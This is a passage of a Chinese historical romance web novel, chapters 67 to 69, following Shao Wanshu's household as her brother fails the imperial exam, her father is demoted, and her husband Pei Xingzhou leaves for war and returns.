定南侯府守卫森严,只要裴行舟和邵婉淑不同意,谁也别想进来。 邵侍郎想去教训女儿,进不了定南侯府,想教训儿子,又找不到儿子的行踪。这一个月来头上都长了白发。 第 67 章 邵亭宸落榜。 这日, 邵婉淑正坐在榻上看书,阿梨来报:“夫人,大姑娘过来了。” 邵婉淑:“让她进来吧。” 裴温静进来后, 邵婉淑问道:“你考虑好要选哪个了吗?” 裴温静主动担起了管家的责任,算是帮了她的忙。她明白裴温静的诉求, 所以作为回报, 前些日子给她挑了几个夫婿。她没有强制裴温静一定要嫁给谁,而是给她选了几个条件还不错的,让她自己选。 一个是侯府的庶出公子,一个是落魄世家的嫡子, 还有一个是进京赶考的举子。 裴温静:“我选凌举人。” 凌举人是进京赶考的举子,各方面都不错, 就是家境贫寒。 邵婉淑:“为何选他?” 即便将来这个举子中了进士, 跟侯府的门第也没法比。 裴温静:“我也是庶出的,虽然和侯府公子更了解彼此的处境,更加投机,但我再也不愿在嫡母手中讨生活了。侯爷正值壮年,侯府丝毫没有要分家的意思,我不知要在侯夫人手下过多少年。” 她想到了柳氏的境遇, 她打心底是看不上柳氏的,将来也不愿活成她那个样子。可她又同情柳氏, 因为柳氏同她一样, 都是可怜人。 裴温静:“崔公子虽然落魄了, 但也是世家嫡子,世家即便再落魄,心还是高傲的,瞧不上庶出的, 我不愿受这样的委屈。” 她当然知道嫁给崔公子是极好的,往后出门她就是世家娘子,崔家底蕴深厚,即便再落魄,旁人都要敬上几分。可若是嫁给崔公子,她就只能得到面子,没有一点里子。 最后,裴温静道:“我想选凌公子,他家境贫寒,以后都得靠着兄长,绝对不敢欺负我。我虽得不到面子,但至少往后余生都不用再委屈自己了。” 裴温静是个会审时度势的人,也是一个会趋利避害的人,她深深地明白自己最想要的是什么。不是权势,不是钱财,而是自由。 邵婉淑虽然因为前世的事情不太喜欢裴温静,但却很欣赏她诚实的性子。 “好,等你大哥回来,我跟他说。” 裴温静:“多谢大嫂。” 裴温静走后,阿桔道:“我倒是没想到大姑娘会这个举人,我还以为她会选崔公子呢。阿梨跟我说她猜大姑娘会选凌举人我还不信,没想到真被她说中了。” 邵婉淑看了阿梨一眼:“你为何觉得她会选凌举人?” 阿梨:“大姑娘的心思其实不难猜,她从前一直被老夫人和二姑娘压着,整日默不作声的。如今夫人给了她机会,可她并没有仗着夫人的势去报复二姑娘,可见她不是那种注重虚名的人。我感觉她应该是想好好过日子的,所以就猜她会选凌举人。” 邵婉淑笑了:“不错啊,这段日子没白管家。” 阿桔嘴扁了下去:“看来我还得再多练练。” 阿兰笑着安慰她:“没关系,我还选了侯府的庶子呢。我想着她和大姑娘处境一样,两人应该能感同身受。” 邵婉淑觉得挺有意思的,她身边这三个丫头选了不同的人。她有些好奇地问:“如果你们是大姑娘的话,你们会选谁?” 三人互相看了看,异口同声地道:“凌举人。” 说完,三人笑了起来。 邵婉淑一怔,笑了起来。 因为,她想了想,如果是她的话,她可能也会选凌举人。 裴温静从韶华院出来后,遇到了裴明英。 得知裴温静的选择,裴明英对她一阵冷嘲热讽。 “你可真是个蠢货,竟然选来选去选了个最穷的,以后有你吃苦的时候。” 裴温静面色平静地说道:“我不似二妹妹一样是嫡出的,底气十足。我没有底气,宁愿嫁一个贫寒的,将来可以自己当家做主,谁也不靠。” 她自小在侯府长大,锦衣玉食,看似什么都不缺,可却要在嫡母手下讨生活,每日如履薄冰。周围的嬷嬷和婢女都能骂上她两句,她丝毫没有得到尊重。直到嫡母离开,最近跟大嫂管家她才觉得自己活得像个人样了。她再也不想看别人的脸色活着了,她想自己当家做主。 裴明英虽然跟裴温静一同长大,但身处的环境根本不一样,她根本无法理解裴温静。 “蠢死了。” 裴温静:“那就祝二妹妹得偿所愿,将来能嫁给邹三郎。” 裴明英笑了。她是侯府的嫡女,长得好看又有才华,最近跟邹三郎接触也多了起来,自认为自己可以嫁给邹三郎。 裴温静朝着裴明英福了福身,没再跟她多说什么。 傍晚,裴行舟从外面回来了,来韶华院用饭。 如今只要他没有应酬,都是回内宅用饭。 吃饭时,邵婉淑跟他提起了裴温静的婚事。 得知裴温静的选择,裴行舟没有任何意见。 “夫人和三弟的眼光自然是没问题的,你看着办就好。” 邵婉淑之所以会选凌举人是因为裴璃,裴璃现在跟着于先生读书,在于先生处结识了凌举人。后来邵婉淑无意间在外面见过凌举人一面,人长得十分周正,性子很温和。在为裴温静择婿,她便想到了他。 邵婉淑:“侯爷还是看看吧,我怕万一自己和三弟都看走了眼怎么办,岂不是害了她一辈子。” 裴行舟:“夫人不必有这么大的心里压力,你给了她三个选择,是她自己选的,将来日子过得如何由她自己承担。日子都是过出来的,需要好好经营。同样的处境,不同的人去过结果也会不同。” 邵婉淑突然想到了自己的这两世。明明都是嫁给了裴行舟,处境相同,但最后大家的结局却完全不同。婚姻的确是需要经营的。不得不说,听了裴行舟的这番话,她心里很是舒服,但还是道:“话虽如此,侯爷还是看看这个举子吧。” 裴行舟:“好。” 第二日裴行舟就让青云去打听姓凌的书生了,这个书生简单得很,除了穷,没有别的问题。 邵婉淑也打听过了,她怕自己打听的不全面,所以才让裴行舟再观察观察。见裴行舟也没打听出来别的问题,她便放心了。 “侯爷,你给母亲写信说一下此事。” 裴行舟:“母亲从未把三弟和大妹妹放在眼里,未必会管大妹妹的婚事,夫人决定就好。” 邵婉淑:“不管母亲管不管,她是三妹妹的嫡母,咱们总要跟她说一声的。” 裴行舟:“知道了。” 裴行舟让信管家给姜老夫人写了一封信,很快就收到了回信,姜老夫人对这门亲事没有任何意见。但同时,姜老夫人也跟裴行舟提起了裴明英的亲事,大意是说既然裴温静的亲事定下来了,裴明英的婚事也可以考虑了。 裴行舟把信拿给了邵婉淑。 邵婉淑看后,看向了裴行舟,问道:“二妹妹的亲事侯爷是怎么想的?” 裴行舟:“此事夫人做主便是。” 邵婉淑:“我怕是做不了这个主。” 裴行舟:“夫人为何这样说?” 邵婉淑:“二妹妹一直想嫁的人都是邹三郎。” 听到这个名字,裴行舟的眉头皱了起来。 邵婉淑:“侯爷也知道邵家差点和邹家定亲,所以,此事我不大方便出面。” 裴行舟:“这门亲事成不了,我们和邹家是不可能联姻的。” 邵婉淑垂眸不语,这件事她不适合发表意见,说什么都是错。 裴行舟:“这件事夫人不用管了,我去跟明英说。” 邵婉淑等的就是这句话,裴行舟作为裴明英的亲哥哥,他怎么说都行。 “好。” 两家开始议亲,但因为科考尚未结束,怕影响凌举人科考,便决定科考后再正式举办定亲仪式。 凌举人也没想到这个天大的馅饼竟然落到了自己的身上。他之前读书时的老师跟于先生认识,老师便给于先生写信拜托于先生指点他一二,他在于先生那里结识了定南侯府的三爷。 他家境贫寒,只是个举子,从未想过高高在上的侯府姑娘竟然愿意嫁给他。那姑娘若是有些毛病还好,可偏偏对方长得十分漂亮,性子也十分温和,跟天上的仙女一样。 凌举人:“多谢裴兄愿意将妹妹嫁给我。” 裴璃:“你莫要谢我,这件事不是我提的,是我大嫂看中了你。她觉得你人不错,为三妹妹选择了你。” 凌举人一怔,问道:“定南侯夫人?” 裴璃:“对。上个月咱们在外面酒楼吃饭聊读书的事情,大嫂遇到了咱们,事后她去打听了一下你,便为三妹妹选择了你。” 凌举人:“多谢侯夫人选择了我。” 裴璃:“别谢来谢去了,以后定了亲咱们就是一家人了。” 想到能跟定南侯府的人成为一家人,凌举人觉得很不真实。 他本来对自己中进士不抱希望了,但一想到自己要娶侯府姑娘,便更加用功了些,心里暗暗发誓一定出人头地,对得起定南侯府的选择。 过了没多久,有一日阿桔从外面回来,带回来一个令人意外的消息。 “夫人,亭宸少爷没中进士。” 对于这个结果邵婉淑颇为意外,前世邵亭宸可是成了探花郎,今生竟然连进士都没中。她还以为他经历了这么多事应该会发奋读书,超越前世,中个状元,没想到他这么不争气。 当真是报应啊! 阿桔:“还有一个消息。” 邵婉淑:“你说。” 阿桔:“亭宸少爷回家后跟莲娘发了脾气,说都是因为她他才没考中的。打了莲娘一巴掌,结果莲娘肚子里的孩子没了。” 邵婉淑算了算日子,莲娘这时候就怀上了啊,她不是应该明年才能怀上吗?难道是因为邵亭宸搬出去和她一起住了?看来这两人最近没干别的事情,光在一起腻歪了。 阿桔:“老爷和夫人今日找到他们二人了。” 邵婉淑:“你怎么知道的这么清楚,又去盯着他了?” 阿桔:“那倒没有,是寅虎跟我说的。” 原来是裴行舟让人去听的,他也真是闲的。不过,听到这样的消息她很开心就是了。 “对了,三爷中了吗?” 阿桔:“中了。” 前世可是正好反过来了,邵亭宸中了探花,裴璃什么都没中。人的命运真的是在一夕之间就会改变。 邵婉淑发现自己心中的那杆秤已经彻底倾斜了。得知邵亭宸没中,她竟然还挺开心的。而知道裴璃中了,她就更开心了。 阿桔:“您给大姑娘挑的那个举子也中了。” 邵婉淑挑了挑眉。她并不记得前世哪些人中了进士,只是觉得这个姓凌的举子性子好,人品也不差,文章也写得极好,早晚能中。没想到自己竟然还有这本事,刚挑完他就中了。中了两榜进士,以后的前途可就一片光明了。 裴温静得知这个消息忍不住落了泪。 还好,上天还是眷顾她的,对她没那么糟糕。 裴璃看过榜之后,长长地舒出来一口气,这么多年的努力总算是有了回报。 他拒绝了大家的邀约,回府去了。 到了内宅后,去了韶华院,跪在了门口。 得知裴璃在外面跪着,邵婉淑吓了一跳,连忙出去了。 裴璃给邵婉淑重重地磕了几个头。 “多谢大嫂。” 邵婉淑也红了眼眶。 “不必这般谢我,这都是三弟自己努力的结果。” 无论邵婉淑如何说,裴璃心里清楚地知道自己能考中举人,考中进士,都是因为邵婉淑的帮助。 学子们入京,各方势力都在拉拢人,邵侍郎也很是活跃。他刚拉拢了几个人,便得知了儿子没中的消息,顿时气炸了,得知了儿子住在哪里,他立即带着府里的人过去了。 看着莲娘倒在了地上,血流了一地,他一巴掌打在了儿子脸上,把邵亭宸打得头晕眼花的,可见这个巴掌是真的用了力气。 邵侍郎连忙让人请信得过的郎中为莲娘诊治,京城所有人都知道莲娘的存在,若莲娘就这样死了,儿子这辈子就真的完了。 莲娘肚子里的孩子终究还是没能保住。她伤了身体,往后也不可能再生孩子了。怕儿子再闹,莲娘又不可能成为威胁了,邵家终于同意她进门了。 晚上,裴行舟回来后看了看邵婉淑的脸色,见她脸色红晕,没什么不高兴的样子就放心了。 “夫人眼光不错,为三妹妹挑了一个两榜进士。” 对于这件事,邵婉淑有几分意外,也有一丝得意。 “我也没想到自己眼光竟然这么好。我看过他的文章,觉得他写的不错。也听他说过话,谈吐极好。想着他即便今年不中,下一次肯定也能中的。没想到他竟然直接中了。” 裴行舟:“夫人厉害。” 邵婉淑笑了。 裴行舟:“从前宋先生觉得三弟要考上几次才能中进士,没想到经过夫人的帮助,一次就中了。” 邵婉淑:“三弟已经来我院中谢过了,还给我磕了头。” 裴行舟:“这是他应做的。” 邵婉淑:“哪有什么应该不应该的,咱们都是一家人。” 这话裴行舟爱听:“对,都是一家人。” 说起家人,邵婉淑不免想到了自己的亲弟弟邵亭宸。她好奇地问道:“邵亭宸最近都在干什么,他怎么连进士都没中?” 裴行舟仔细看了看邵婉淑的脸色,见她没有因为邵亭宸没中而难过便放心了。不过这番话裴行舟明白了,之前邵亭宸应该考得不错。 “夫人梦里他中了什么?” 邵婉淑:“中了探花。所以我才奇怪他怎么连进士都没中。” 裴行舟:“他什么都没干,怕邵侍郎发现他和莲娘的行踪,两人整日待在院子里不出门。” 邵婉淑:“他没读书吗?” 裴行舟:“他倒是想读书,莲娘怕他考中进士后不要她了,急于生个孩子稳住地位。” 邵婉淑听后唏嘘不已,怪不得邵亭宸没考中,怪不得孩子这么快来了,原来都是因为莲娘。 这个莲娘可真是有本事,每一世都能搅起风浪来。 裴行舟看了一眼邵婉淑的脸色,道:“邵亭宸聪明,他若是收了心,下一科定能中。” 邵婉淑:“他这样的人品性子,不中也罢。” 裴行舟听出来邵婉淑的意思,放心了些。 在得知前世的事情后,他厌极了邵家,对邵亭宸和莲娘也痛恨至极。 邵家之所以这么久都没找到邵亭宸是因为他出手帮忙了,他故意不让邵家人找到邵亭宸和莲娘。 而他日日让人盯着邵亭宸,早就知道他最近没好好读书,一直和莲娘腻歪在一起。但他没有告诉邵婉淑。他等着看他们这些人的下场。 结果也的确和他预想的一样,邵亭宸落榜了。 邵婉淑意识到了这件事的怪异之处:“之前邵家一直没找到邵亭宸,怎么今日突然找到了?” 因为结局已定,裴行舟没再让人阻拦邵家人。 “可能是因为邵亭宸去看榜了,府里的人发现了他的行踪,跟过去了。” 邵婉淑:“之前为何没找到?” 裴行舟:“可能躲得好。” 邵婉淑总觉得哪里不太对劲,邵亭宸就是个公子哥,他哪里能逃脱父亲的掌控。 裴行舟转移了话题:“夫人今日身体如何,孩子可闹腾?” 提起儿子,邵婉淑面色温和了许多:“我今日挺好的,多吃了半碗饭,孩子很乖。” 裴行舟:“嗯,乖就好了,不乖的话夫人跟我说,等他长大了我教训他。” 邵婉淑笑了:“好了,侯爷可别舍不得就行。” 看着邵婉淑的笑,裴行舟感觉一身的疲惫都消失不见了。 第 68 章 邵侍郎被贬。 在士子入京后, 邵侍郎活跃了许多,拉拢了不少读书人,而这些人中有一些还中了进士。 隆帝察觉到邵侍郎最近的所作所为, 眼神冷了几分。 刚刚他得到消息,邵侍郎竟然还在联络朝臣, 想要给大皇子和定南侯使绊子。再这样下去, 怕是要犯更大的错,贵妃要更难过了。 他毕竟是贵妃的兄长。 晚上,隆帝去了昭阳宫,跟贤贵妃说了此事。 隆帝:“你兄长在礼部侍郎的位置上已经多年了, 朕决定给他换个位置。” 贤贵妃能察觉到隆帝对兄长的不喜,心里咯噔一下, 问道:“换去哪里?” 隆帝:“外放吧, 去外面历练一番,冷静冷静。” 贤贵妃沉默良久,道:“好,您决定吧。” 隆帝怕贤贵妃伤心,握住了她的手。 “朕没有疏远你和阿祐的意思。” 贤贵妃:“臣妾明白的,当初您对大皇子也是这样的。您如此待他, 也是因为他是我的兄长。您的良苦用心臣妾都明白。只是臣妾担心兄长理解不了您的用意,做出更过分的事情。” 听了这番话, 隆帝放心了。 “没关系, 朕找人看着他。” 邵侍郎这个人能力和才华还是有的, 就是随着三皇子的长大生出来一些不该有的心思。外放出去,远离京城,或许能让他冷静冷静。 虽然儿子没中进士令邵侍郎很难受,但最近收了几个不错的进士, 他觉得还是有希望的。结果第二日他便收到了被贬出京的消息。他被贬出京,去最南边荒凉的地方做同知。 邵侍郎跪在大殿上,心凉了半截。 隆帝:“你最近做了什么事朕心里一清二楚,朕看在贵妃和三皇子的面子上给过你机会了。这是你最后一次机会,若你还执迷不悟,朕绝不会饶你。” 邵侍郎冷汗淋漓。 “微臣知罪,以后一定牢记皇上的教诲。” 隆帝:“过几日是大皇子的册封大典,等参加完再离京吧。” 邵侍郎心彻底凉了。 不仅是大皇子被册封为太子一事,还因为册封大典由礼部来管,但他身为礼部侍郎竟然一点消息都没得到,可见他早已被排挤出去了。 “谢主隆恩。” 晚上,裴行舟回府后将邵侍郎被贬的事情告诉了邵婉淑。 邵婉淑沉默许久,问了一个问题:“皇上在朝堂上很重视我父亲吗?” 裴行舟:“没有。” 邵婉淑:“为何要在此时将父亲外放?大皇子要被封为太子了,父亲的处境肯定不会好,皇上怎么突然就将他外放了?” 裴行舟:“皇上不想看大皇子和三皇子内斗。” 这一点邵婉淑早就知道了,她近来琢磨出来另外一件事。 “皇上是不是特别喜欢我姑母?” 裴行舟:“对。” 邵婉淑点了点头,这样的话一切就说得通了。皇上是个明君,他虽然喜欢三皇子,但还是选择大皇子做储君。可姑母的位置并没有变,这么多年来,她依旧是贵妃。 能成为贵妃,一靠娘家的权势,二靠儿子,三靠宠爱。 邵家并没有天大的权势,帮不了皇上什么忙。相反,不管是邵家还是三皇子,其实都是靠姑母。因为皇上喜欢姑母,所以父亲一直稳坐礼部侍郎的位置。 三日后,大皇子被册封。 第二日一早,邵侍郎携全家离京,邵亭宸跟着一同离开了,莲娘也被带上了。莲娘刚小产了,整个人虚弱得很。邵亭宸不想带着她的,但她怕自己此生再也见不到邵亭宸了,跟着走去。 邵婉淑没去送,如今她对邵家已经没什么感情了。 一切都已尘埃落定,邵婉淑彻底放松下来。 晚上,裴行舟回来,见邵婉淑多吃了几口饭,问道:“夫人今日心情不错?” 邵婉淑:“是啊,太子已立,父亲也离京了,也没什么烦心事了。” 裴行舟深深地看了一眼邵婉淑,欲言又止。 邵婉淑最近话多了许多,吃过饭跟裴行舟说起了孩子的事情。 裴行舟虽然不善谈,但每一句都笑着回应她。两人虽然成亲快一年了,但直到最近才开始走得近了,他好像舍不得分开了。 邵婉淑拿着两块布犹豫,想着到底用哪一块给未出世的孩子做衣裳。 这时裴行舟说了一句:“太子被立,朝中忙于此事,邻国又开始蠢蠢欲动,边关怕是要起战事。” 邵婉淑愣了一下,抬眸看向了裴行舟。 裴行舟为何说这种没头没脑的话。 裴行舟:“大皇子如今已经是太子,不能再轻易出京,也不适合再上战场。” 邵婉淑心里咯噔一下,前世的记忆袭来,她的脸色一白。 裴行舟握了握邵婉淑的手:“你不必为我担心,我们已经做好了充分的准备,这一仗很快就能打完。” 邵婉淑想到前世裴行舟死在了战场上,心里一阵抽痛:“非得你去吗?我这还怀着身孕呢。” 裴行舟:“我一定在你生产前回来。” 邵婉淑没再说话,看来有些事注定要发生,人力阻挡不了。 “知道了。” 邵婉淑低头看向手中的两块布,顿时没了挑选的兴致,又坐了一会儿,她去床上睡了。 裴行舟看着邵婉淑的背影,沉默良久。 邵婉淑没听到外面说打仗的消息,所以以为裴行舟短时间内走不了。结果才过了短短三日,裴行舟就突然告诉她他要离京了。 邵婉淑说不上来自己心里是什么感受。她这几日想过前世裴行舟上战场的事情,但她那时并没有打听过,所以她只知道裴行舟死在了战场上,却不知他死于谁的手中,为何而死。 她真的很后悔前世为何没有多关心关心裴行舟。 临行前,两人沉默相对。 青云:“侯爷,该走了。” 这不是邵婉淑第一次面对裴行舟去战场这件事了,前世也有过一次。但前世她是在裴行舟走后才知道他已经离开了京城,这一次她直面了这件事。她说不出自己心里到底是什么感觉,只觉得胸口闷闷的。 裴行舟是她的丈夫,他马上就要上战场了,此次去战场生死未卜,她应该说些什么的。可张了张口,又不知自己该说些什么。 就在这时,裴行舟突然上前吻住了她的唇,这个吻比以往的都要激烈许多,像是要把邵婉淑吞入腹中一般。邵婉淑一开始没反应过来,后来也回抱了裴行舟,回应着他。 结束后,裴行舟深深地看了邵婉淑一眼,像是要把她此刻的样子刻在心里。 邵婉淑:“活着回来。” 裴行舟:“好。” 邵婉淑以为自己对裴行舟是没什么感情的,她唯一的诉求就是生个儿子,给自己一个保障。可自从裴行舟离开后,她觉得哪里都不对了。 侯府的饭菜似乎越来越难吃了,没滋没味的。这个黄花梨木的床也很不舒服,硌的人难受,这床也太大了些,空空荡荡的。就连阿福过来告诉她,她的几间铺子都在赚钱,她也高兴不起来。 见她状态越来越不对,阿梨和阿桔几人私下合计了一下,阿桔去找辛卿卿了。 第二日一早,辛卿卿来了定南侯府中。 看着邵婉淑的脸色,她吓了一跳,道:“一个月多前见你时你还一副神采奕奕的模样,散发着母性的光芒,今日怎么这般憔悴了?可是身子不舒服?” 邵婉淑:“也没有很不舒服,就是没什么胃口,吃的不如从前多了。” 从前裴行舟陪着她吃饭,她每日都能吃上许多,如今一个人吃,就觉得没什么胃口了。 辛卿卿:“你如今可不是一个人了,不能这么任性,想吃就吃,不想吃就不吃。” 邵婉淑:“我知道,可我就是吃不下去。” 辛卿卿:“有烦心事?” 邵婉淑:“也没有。” 辛卿卿想了想,道:“按理说你现在也没什么烦心事才对。你爹不在京城,没人敢给你甩脸子。老夫人远在族里,也不会来教育你。侯爷也不在府中,整个府中你说了算。你现在孩子也有了。人生多么圆满。你还有什么不满意的?” 邵婉淑沉默片刻:“不知道,就是觉得开心不起来。” 辛卿卿:“从什么时候开始的?” 邵婉淑想了想,道:“约摸一个月前吧。” 辛卿卿算了算日子,正好是定南侯离京的日子,她心里想到了什么,抬眼看向了邵婉淑。 “你病了。” 邵婉淑怔了一下,问:“什么病。” 辛卿卿:“相思病。” 邵婉淑:…… 辛卿卿:“还说你对侯爷没感情,我看你就是自欺欺人。侯爷在时你吃得好睡得好,侯爷一走你就难受了。” 邵婉淑:“我们确实没什么感情。” 辛卿卿:“哼,我信你的鬼话。你从前说自己跟侯爷没感情,就是想生个儿子,等侯爷死了之后让他继承爵位。如今肚子里有了孩子,你应该高兴才对,为何不高兴?” 邵婉淑没说话。她也曾想过这个问题,如今得偿所愿了,为何还不高兴。 辛卿卿:“你扪心自问,现在还盼着侯爷死吗?” 想到裴行舟会死,邵婉淑脸色一变。 辛卿卿:“若是侯爷的死讯传来,你什么感受?” 邵婉淑衣袖下的手紧紧握了起来,单单是想到这种可能,她就有些接受不了了。 辛卿卿:“要我说,侯爷这个人还真不错。他长得好看,手握重权,府里连个通房侍妾都没有,你喜欢上他再正常不过了。” 邵婉淑垂眸,道:“他这样的人是没有感情的。” 辛卿卿:“你管他有没有,只要他心里没有别人,他就是你一个人的。若将来真的变了心,至少自己心里没有遗憾了。” 邵婉淑觉得这话好像也有点道理,可想到前世,她还是有些犹豫:“可若是一直得不到回应,心里也会累的。” 辛卿卿忍不住冲着邵婉淑翻了个白眼:“我怎么觉得你这话说的是你家侯爷?” 邵婉淑愣了一下。 辛卿卿:“我看是你家侯爷对你掏心掏肺,你对他没心没肺。” 邵婉淑:“……你到底是谁的朋友?” 辛卿卿:“自然是你的朋友。一直得不到回应的确会很累,可也比现在好吧?难道一直忍着不开始就会很轻松吗?人活一世,短短数十年,不如多关心关心自己。” 邵婉淑有些意动了。 辛卿卿:“你肚子里还有个孩子,总要为他的将来打算吧?你再这样下去孩子怕是也会遭殃。” 邵婉淑:“你说得对。” 辛卿卿陪了邵婉淑一整日,邵婉淑心情好了许多。等晚上一个人躺在床上,邵婉淑反反复复琢磨着辛卿卿的话。 若裴行舟真如前世一样死在了战场上……她好像不能再像前世一样冷静了。 她不能再这样消沉下去了,她要打起精神,好好活着。 第二日一早,邵婉淑胃口变好了。 见夫人脸色好看了些,阿梨她们总算是放心了。 邵婉淑又开始出去应酬了,去赏花,去诗会,有时还会去游湖。 裴行舟是太子的人,他去前线打仗,太子早就命人好好关照邵婉淑。因此,太子那边的人对邵婉淑客客气气的。而她又是贤贵妃的侄女,纵然邵侍郎被贬,三皇子这边的人也对她十分客气。 她在外面更加自如了。 十分快活。 心情好了,吃的多了,脸色又红晕起来。 邵婉淑的肚子越来越沉了,怀胎九月时,她已经不敢随便出去了,怕在外面会发作。 这日,邵婉淑正睡着觉,突然感觉身边似乎多了个人。这几个月她常常梦到裴行舟,以为自己在做梦,也没多想,自然地靠在了对方怀中。 裴行舟嗅着邵婉淑身上熟悉的味道,长叹一声,闭上眼,沉沉睡去。 第二日一早,邵婉淑先醒了过来。看着身侧的人,她眨了好几次眼,对方都没有消失,这才明白裴行舟是真的回来了,昨晚不是梦。看着裴行舟眼底的青黑,她抬手轻轻抚摸了一下,顺着他的眼摸了摸他挺立的鼻子,扯了扯他的胡子。 她还没见过裴行舟胡子拉碴的模样。身为定南侯,他每日都把自己收拾得十分干净妥帖,很少会任由胡子长这么长。 想必是回京匆忙,没来得及刮胡子。 半年的军旅生涯,裴行舟格外机敏。早在邵婉淑睁开眼时,裴行舟就醒了过来。但他眼皮重,并未睁开眼。然后,他察觉到邵婉淑摸了摸他的眼睛,又摸了摸他的鼻子,最后扯了扯他的胡子。 他终于还是忍不住睁开了眼。 然后,看到了一张笑脸。 “侯爷。” 裴行舟心头一热。他鲜少见她对他笑,这一笑,他感觉浑身的疲惫都不见了。他什么都没说,重重吻了上去。 两人许久没有亲热过了,邵婉淑也很想裴行舟,热情回应着他。 第 69 章 裴明英被撵走。 亲了许久后, 邵婉淑推开了裴行舟,抬手擦了一下嘴。 看着邵婉淑的举动,裴行舟眼底有几分失望。数月不见, 她好像对他更加冷淡了,甚至还有几分厌恶。 信管家来信, 说在他离开后, 邵婉淑常常去参加宴席,还喜欢去诗会,去游玩,竟比他在京城时还喜欢往外跑。可见她是一点都不想他。他离开京城了, 她反倒是很开心。 裴行舟不是刚成亲那会儿了,若是刚成亲的时候, 他什么都不会说, 直接起身离开,消失不见。 此刻他直接问了出来:“嫌弃我?” 邵婉淑:“不是,胡子太扎了,有点痒,还有点疼。” 裴行舟一怔,道:“抱歉, 忘了刮胡子了。” 邵婉淑盯着裴行舟看了片刻,她从未见过他这样一面, 少了几分公子哥的矜贵, 多了一些武将的粗犷, 他这样子格外吸引人。 “黑了,瘦了。” 裴行舟抬手捏了捏邵婉淑的脸:“夫人倒是胖了不少。” 邵婉淑笑容一僵,道:“我还怀着孩子呢,我问过太医了, 太医说等生了孩子就瘦了。” 下一瞬,裴行舟说道:“不用减,这样就很好。” 邵婉淑又笑了起来。 看着邵婉淑的笑,裴行舟感觉这一路昼夜赶路的辛苦都值了。 看出来裴行舟的疲惫,邵婉淑贴心地说道:“侯爷先好好睡一觉吧,我就不打扰你了。” 裴行舟却没放她走,他着急回来就是为了见她,如今见到了,又怎么会轻易放她离开。 “夫人陪我说说话吧。” 邵婉淑:“说什么?” 裴行舟:“夫人想说什么就说什么。” 邵婉淑想了想,道:“那我跟你说说孩子?” 裴行舟:“好。” 邵婉淑:“孩子可听话了,比一般的小孩儿都听话,他在我肚子里一点都不闹腾。不管我高兴还是不高兴,他都安安静静的。” 裴行舟:“夫人为何不高兴?” 他记得信叔第一封信曾提起邵婉淑一开始有些吃不下饭,辛夫人来了之后就好了。 邵婉淑一怔,眼神有些闪躲:“有孕的女子都这样,情绪起伏大。可能今日开心,明日就不高兴了。” 裴行舟看出来不是这个原因,但他没有拆穿她:“嗯。” 邵婉淑:“我觉得她应该是个姑娘。” 裴行舟盯着邵婉淑的眼睛,想要看看她到底是什么想法。 邵婉淑也在试探裴行舟,她怕裴行舟不喜欢女儿,结果裴行舟的反应令她十分失望。 “你不喜欢女儿吗?” 裴行舟:“喜欢,只要夫人生的我都喜欢。” 邵婉淑:“当真?” 裴行舟:“真的。” 邵婉淑没再多说。 裴行舟反倒是问道:“夫人喜欢女儿吗?” 邵婉淑:“自然是喜欢的,三弟家的蕴姐儿特别可爱,小脸软乎乎的,还会哄人开心。你我都不是张扬的性子,生个女儿定也是乖巧可爱的。” 裴行舟冷不丁地说道:“夫人不是想生个儿子吗?” 邵婉淑下意识反驳:“我何时……” 看着裴行舟的神色,邵婉淑想到了之前的事情,问了出来:“你那日也在梨园听戏?” 裴行舟:“嗯。” 邵婉淑脸一沉,去那听戏的女子极多,问:“你素日里并不喜欢听戏,那日是跟谁一起去的?” 裴行舟:“和兵部主事,他同我说了韩忠直的事情。” 邵婉淑脸色这才好看了些,想到刚刚裴行舟说的话,她道:“从前的确想过生个儿子,现在觉得女儿也挺好。” 那时她处境艰难,以为裴行舟会和前世一样死去,她怕自己又孤立无援,所以想生个儿子,把爵位拿过来。眼下没有这样的困境了,生儿生女对她来说没什么区别。 裴行舟:“我倒是希望夫人生个女儿。” 邵婉淑不解:“为何?” 时下男子都喜欢有个儿子,继承家业,裴行舟怎么反其道而行。 裴行舟:“我怕夫人有了儿子就盼着我死,为了多活几年,夫人还是生个女儿吧。” 邵婉淑抬手捶了裴行舟一下,这件事他到底要记到什么时候。 “我没有盼着你死,你是我的丈夫,我希望你好好活着。” 裴行舟握住了邵婉淑的手,问:“真的?” 邵婉淑:“真的,我还去寺庙上香,祈祷你平安。” 裴行舟:“嗯,我知道。” 这些事信管家都在信中跟他说过了。 邵婉淑又跟裴行舟说起了上香的事情,裴行舟眼里带着几分笑意,听着听着他闭上眼睛睡了。 见裴行舟睡着了,邵婉淑盯着他看了片刻,亲了亲他的额头,轻轻下了床。 床上,裴行舟唇角微微上扬。她从前可从不会这样亲他。他突然觉得分开了这么久也不是没有好处,这次回来她对他似乎不像从前那般冷淡了。 边关打了胜仗,举国同庆。 一向忙碌的裴行舟告了假在家歇着,确切说是陪着邵婉淑。 因为快要生产了,所以邵婉淑已经许久没出门了,整日在府中待着着实无趣,还有些担忧。毕竟是第一次生孩子,不仅丈夫不在身边,身边也没有个长辈。妇人生产又是一道鬼门关。好在裴行舟回来了。 裴行舟回来后,日日陪着她,她把所有事情都交给了裴行舟,那些烦恼也全都不见了。 裴行舟也没做什么就是坐在一旁看书,要么去湖边钓鱼,可邵婉淑就是觉得心里没那么慌乱了。 有时,邵婉淑看书看累了,裴行舟就接过她手中的书,坐在一旁读给她听。 听着裴行舟用低沉的嗓音读出来那些男欢女爱的话本子,着实有趣,有时她听着听着就睡着了,心情特别放松。 这日,两人正在湖边垂钓,裴明英过来了。 “大哥,嫂子。” 裴行舟没搭理她,静静看着湖面。 邵婉淑跟裴明英打了一声招呼:“明英过来了。” 裴明英眼睛看向了裴行舟,犹豫了一下,说道:“大哥,我想嫁给邹三郎。” 邵婉淑挑了挑眉,没再说话。这几个月裴明英没少出去应酬,跟邹三郎也见过几面,但她瞧得出来邹三郎对裴明英并无意。站在裴行舟的角度想,裴行舟应该也不希望跟邹相家联姻。 裴明英曾跟她提起要嫁给邹三郎,她没有答应,只说等裴行舟回来问问他的意思。 裴明英很不高兴,后来没再找过她。 关于这个问题,裴行舟曾经跟裴明英提过了,他没想到他这个妹妹还在想着这件事。 “我记得我曾跟你说过了,这门亲事我不同意。” 裴明英顿时就急了眼:“为什么?” 大哥是一点都不疼她,二哥二嫂当初知道她想嫁给邹三郎,都是为她想办法帮她牵线搭桥。可大哥却一味拒绝她。 裴行舟:“邹家不适合你。” 裴明英:“怎么就不适合了?两家家世相当,我和邹三郎兴趣相投。” 裴行舟没再理她。他这个妹妹是个糊涂的,性子也骄纵。邹相是文臣之首,邹家是真正的诗书传家的门第。二妹妹嫁过去也不会幸福的。 